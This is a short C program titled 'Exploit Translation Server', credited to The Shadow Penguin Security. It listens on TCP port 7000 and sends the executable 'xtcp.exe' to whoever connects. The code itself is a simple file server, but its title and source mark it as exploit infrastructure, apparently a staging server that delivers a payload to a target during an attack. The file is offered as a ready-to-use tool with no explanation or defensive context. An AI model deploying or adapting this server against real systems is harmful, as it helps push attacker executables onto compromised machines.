/*=============================================================================
   Exploit Translation Server Version1.00
   The Shadow Penguin Security (https://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define     PORT_NUM    7000
#define     BUFSIZE     1000
#define     SENDFILE    "xtcp.exe"

int     get_connection(port, listener)
int     port;
int     *listener;
{
    struct sockaddr_in  address,acc;
    int                 listening_socket,connected_socket;
    int                 reuse_addr=1,acclen=sizeof(acc);

    memset((char *) &address, 0, sizeof(address));
    address.sin_family = AF_INET;
    address.sin_port = htons(port);
    address.sin_addr.s_addr = htonl(INADDR_ANY);
    listening_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (listening_socket < 0) {
        perror("socket"); exit(1);
    }
    if (listener != NULL) *listener = listening_socket;
    setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
                (void *)&reuse_addr,sizeof(reuse_addr));
    if (bind(listening_socket,(struct sockaddr *)&address,
        sizeof(address))<0){
        perror("bind"); exit(1);
    }
    listen(listening_socket, 5);
    connected_socket=accept(listening_socket,
                        (struct sockaddr *)&acc,&acclen);
    return connected_socket;
}
int     main(argc, argv)
int     argc;
char    *argv[];
{
    int             sock,listensock,i,r,l;
    char            buf[BUFSIZE];
    struct  stat    st;
    FILE            *fp;

    if ((fp=fopen(SENDFILE,"rb"))==NULL){
        printf("File not found \"%s\"\n",SENDFILE);
        exit(1);
    }
    stat(SENDFILE,&st);
    r=st.st_size/BUFSIZE+1;
    sock = get_connection(PORT_NUM, &listensock);
    for (i=0;;i++){
        l=fread(buf,1,BUFSIZE,fp);
        if (l<=0) break;
        write(sock,buf,l);
    }
    fclose(fp);
    close(sock);
}